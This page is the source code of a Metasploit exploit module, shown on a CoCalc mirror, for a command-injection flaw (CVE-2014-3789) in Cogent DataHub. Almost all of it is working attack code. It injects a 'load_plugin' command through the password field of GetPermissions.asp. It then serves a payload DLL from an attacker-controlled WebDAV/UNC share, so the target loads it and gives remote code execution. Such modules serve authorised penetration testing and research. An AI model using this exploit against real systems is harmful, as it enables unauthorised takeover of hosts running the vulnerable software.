CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/cogent_datahub_command.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
# Exploitation is reliable, but the service hangs and needs manual restarting.
8
Rank = ManualRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Remote::HttpServer::HTML
12
include Msf::Exploit::EXE
13
14
def initialize
15
super(
16
'Name' => 'Cogent DataHub Command Injection',
17
'Description' => %q{
18
This module exploits an injection vulnerability in Cogent DataHub prior
19
to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
20
makes insecure use of the datahub_command function with user controlled
21
data, allowing execution of arbitrary datahub commands and scripts. This
22
module has been tested successfully with Cogent DataHub 7.3.4 on
23
Windows 7 SP1. Please also note that after exploitation, the remote service
24
will most likely hang and restart manually.
25
},
26
'Author' => [
27
'John Leitch', # Vulnerability discovery
28
'juan vazquez' # Metasploit module
29
],
30
'Platform' => 'win',
31
'References' =>
32
[
33
['ZDI', '14-136'],
34
['CVE', '2014-3789'],
35
['BID', '67486']
36
],
37
'Stance' => Msf::Exploit::Stance::Aggressive,
38
'DefaultOptions' => {
39
'WfsDelay' => 30,
40
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
41
},
42
'Targets' =>
43
[
44
[ 'Cogent DataHub < 7.3.5', { } ],
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => 'Apr 29 2014'
48
)
49
register_options(
50
[
51
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),
52
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
53
'(do not change)', 80 ]),
54
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +
55
'wait for the payload request', 20]),
56
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
57
])
58
end
59
60
def autofilter
61
false
62
end
63
64
def on_request_uri(cli, request)
65
case request.method
66
when 'OPTIONS'
67
process_options(cli, request)
68
when 'PROPFIND'
69
process_propfind(cli, request)
70
when 'GET'
71
process_get(cli, request)
72
else
73
vprint_status("#{request.method} => 404 (#{request.uri})")
74
resp = create_response(404, "Not Found")
75
resp.body = ""
76
resp['Content-Type'] = 'text/html'
77
cli.send_response(resp)
78
end
79
end
80
81
def process_get(cli, request)
82
83
if blacklisted_path?(request.uri)
84
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
85
resp = create_response(404, "Not Found")
86
resp.body = ""
87
cli.send_response(resp)
88
return
89
end
90
91
if request.uri.include?(@basename)
92
print_status("GET => Payload")
93
return if ((p = regenerate_payload(cli)) == nil)
94
data = generate_payload_dll({ :code => p.encoded })
95
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
96
return
97
end
98
99
# Treat index.html specially
100
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
101
vprint_status("GET => REDIRECT (#{request.uri})")
102
resp = create_response(200, "OK")
103
104
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
105
resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
106
resp['Content-Type'] = 'text/html'
107
cli.send_response(resp)
108
return
109
end
110
111
# Anything else is probably a request for a data file...
112
vprint_status("GET => DATA (#{request.uri})")
113
data = rand_text_alpha(4 + rand(4))
114
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
115
end
116
117
#
118
# OPTIONS requests sent by the WebDav Mini-Redirector
119
#
120
def process_options(cli, request)
121
vprint_status("OPTIONS #{request.uri}")
122
headers = {
123
'MS-Author-Via' => 'DAV',
124
'DASL' => '<DAV:sql>',
125
'DAV' => '1, 2',
126
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
127
+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
128
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
129
+ 'LOCK, UNLOCK',
130
'Cache-Control' => 'private'
131
}
132
resp = create_response(207, "Multi-Status")
133
headers.each_pair {|k,v| resp[k] = v }
134
resp.body = ""
135
resp['Content-Type'] = 'text/xml'
136
cli.send_response(resp)
137
end
138
139
#
140
# PROPFIND requests sent by the WebDav Mini-Redirector
141
#
142
def process_propfind(cli, request)
143
path = request.uri
144
vprint_status("PROPFIND #{path}")
145
146
if path !~ /\/$/
147
148
if blacklisted_path?(path)
149
vprint_status "PROPFIND => 404 (#{path})"
150
resp = create_response(404, "Not Found")
151
resp.body = ""
152
cli.send_response(resp)
153
return
154
end
155
156
if path.index(".")
157
vprint_status "PROPFIND => 207 File (#{path})"
158
body = %Q|<?xml version="1.0" encoding="utf-8"?>
159
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
160
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
161
<D:href>#{path}</D:href>
162
<D:propstat>
163
<D:prop>
164
<lp1:resourcetype/>
165
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
166
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
167
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
168
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
169
<lp2:executable>T</lp2:executable>
170
<D:supportedlock>
171
<D:lockentry>
172
<D:lockscope><D:exclusive/></D:lockscope>
173
<D:locktype><D:write/></D:locktype>
174
</D:lockentry>
175
<D:lockentry>
176
<D:lockscope><D:shared/></D:lockscope>
177
<D:locktype><D:write/></D:locktype>
178
</D:lockentry>
179
</D:supportedlock>
180
<D:lockdiscovery/>
181
<D:getcontenttype>application/octet-stream</D:getcontenttype>
182
</D:prop>
183
<D:status>HTTP/1.1 200 OK</D:status>
184
</D:propstat>
185
</D:response>
186
</D:multistatus>
187
|
188
# send the response
189
resp = create_response(207, "Multi-Status")
190
resp.body = body
191
resp['Content-Type'] = 'text/xml; charset="utf8"'
192
cli.send_response(resp)
193
return
194
else
195
vprint_status "PROPFIND => 301 (#{path})"
196
resp = create_response(301, "Moved")
197
resp["Location"] = path + "/"
198
resp['Content-Type'] = 'text/html'
199
cli.send_response(resp)
200
return
201
end
202
end
203
204
vprint_status "PROPFIND => 207 Directory (#{path})"
205
body = %Q|<?xml version="1.0" encoding="utf-8"?>
206
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
207
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
208
<D:href>#{path}</D:href>
209
<D:propstat>
210
<D:prop>
211
<lp1:resourcetype><D:collection/></lp1:resourcetype>
212
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
213
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
214
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
215
<D:supportedlock>
216
<D:lockentry>
217
<D:lockscope><D:exclusive/></D:lockscope>
218
<D:locktype><D:write/></D:locktype>
219
</D:lockentry>
220
<D:lockentry>
221
<D:lockscope><D:shared/></D:lockscope>
222
<D:locktype><D:write/></D:locktype>
223
</D:lockentry>
224
</D:supportedlock>
225
<D:lockdiscovery/>
226
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
227
</D:prop>
228
<D:status>HTTP/1.1 200 OK</D:status>
229
</D:propstat>
230
</D:response>
231
|
232
233
if request["Depth"].to_i > 0
234
trail = path.split("/")
235
trail.shift
236
case trail.length
237
when 0
238
body << generate_shares(path)
239
when 1
240
body << generate_files(path)
241
end
242
else
243
vprint_status "PROPFIND => 207 Top-Level Directory"
244
end
245
246
body << "</D:multistatus>"
247
248
body.gsub!(/\t/, '')
249
250
# send the response
251
resp = create_response(207, "Multi-Status")
252
resp.body = body
253
resp['Content-Type'] = 'text/xml; charset="utf8"'
254
cli.send_response(resp)
255
end
256
257
def generate_shares(path)
258
share_name = @share_name
259
%Q|
260
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
261
<D:href>#{path}#{share_name}/</D:href>
262
<D:propstat>
263
<D:prop>
264
<lp1:resourcetype><D:collection/></lp1:resourcetype>
265
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
266
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
267
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
268
<D:supportedlock>
269
<D:lockentry>
270
<D:lockscope><D:exclusive/></D:lockscope>
271
<D:locktype><D:write/></D:locktype>
272
</D:lockentry>
273
<D:lockentry>
274
<D:lockscope><D:shared/></D:lockscope>
275
<D:locktype><D:write/></D:locktype>
276
</D:lockentry>
277
</D:supportedlock>
278
<D:lockdiscovery/>
279
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
280
</D:prop>
281
<D:status>HTTP/1.1 200 OK</D:status>
282
</D:propstat>
283
</D:response>
284
|
285
end
286
287
def generate_files(path)
288
trail = path.split("/")
289
return "" if trail.length < 2
290
291
base = @basename
292
exts = @extensions.gsub(",", " ").split(/\s+/)
293
files = ""
294
exts.each do |ext|
295
files << %Q|
296
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
297
<D:href>#{path}#{base}.#{ext}</D:href>
298
<D:propstat>
299
<D:prop>
300
<lp1:resourcetype/>
301
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
302
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
303
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
304
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
305
<lp2:executable>T</lp2:executable>
306
<D:supportedlock>
307
<D:lockentry>
308
<D:lockscope><D:exclusive/></D:lockscope>
309
<D:locktype><D:write/></D:locktype>
310
</D:lockentry>
311
<D:lockentry>
312
<D:lockscope><D:shared/></D:lockscope>
313
<D:locktype><D:write/></D:locktype>
314
</D:lockentry>
315
</D:supportedlock>
316
<D:lockdiscovery/>
317
<D:getcontenttype>application/octet-stream</D:getcontenttype>
318
</D:prop>
319
<D:status>HTTP/1.1 200 OK</D:status>
320
<D:ishidden b:dt="boolean">1</D:ishidden>
321
</D:propstat>
322
</D:response>
323
|
324
end
325
326
files
327
end
328
329
def gen_timestamp(ttype=nil)
330
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
331
end
332
333
def gen_datestamp(ttype=nil)
334
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
335
end
336
337
# This method rejects requests that are known to break exploitation
338
def blacklisted_path?(uri)
339
share_path = "/#{@share_name}"
340
payload_path = "#{share_path}/#{@basename}.dll"
341
case uri
342
when payload_path
343
return false
344
when share_path
345
return false
346
else
347
return true
348
end
349
end
350
351
def check
352
res = send_request_cgi({
353
'method' => 'POST',
354
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
355
'vars_post' =>
356
{
357
'username' => rand_text_alpha(4 + rand(4)),
358
'password' => rand_text_alpha(4 + rand(4))
359
}
360
})
361
362
if res && res.code == 200 && res.body =~ /PermissionRecord/
363
return Exploit::CheckCode::Detected
364
end
365
366
Exploit::CheckCode::Safe
367
end
368
369
def send_injection(dll)
370
res = send_request_cgi({
371
'method' => 'POST',
372
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
373
'vars_post' =>
374
{
375
'username' => rand_text_alpha(3 + rand(3)),
376
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
377
"(load_plugin \"#{dll}\" 1)(\""
378
}
379
}, 1)
380
381
res
382
end
383
384
def on_new_session(session)
385
if service
386
service.stop
387
end
388
389
super
390
end
391
392
def primer
393
print_status("Sending injection...")
394
res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
395
if res
396
print_error("Unexpected answer")
397
end
398
end
399
400
def exploit
401
if datastore['UNCPATH'].blank?
402
@basename = rand_text_alpha(3)
403
@share_name = rand_text_alpha(3)
404
@extensions = "dll"
405
@system_commands_file = rand_text_alpha_lower(4)
406
407
if (datastore['SRVHOST'] == '0.0.0.0')
408
@myhost = Rex::Socket.source_address('50.50.50.50')
409
else
410
@myhost = datastore['SRVHOST']
411
end
412
413
@exploit_unc = "\\\\#{@myhost}\\"
414
415
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
416
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
417
end
418
419
print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
420
"\\#{@basename}.dll")
421
422
begin
423
# The Windows Webclient needs some time...
424
Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
425
rescue ::Timeout::Error
426
service.stop if service
427
end
428
else
429
# Using external SMB Server
430
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
431
host = $1
432
share_name = $2
433
dll_name = $3
434
print_status("Sending injection...")
435
res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
436
if res
437
print_error("Unexpected answer")
438
end
439
else
440
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.dll')
441
end
442
end
443
end
444
end
445
446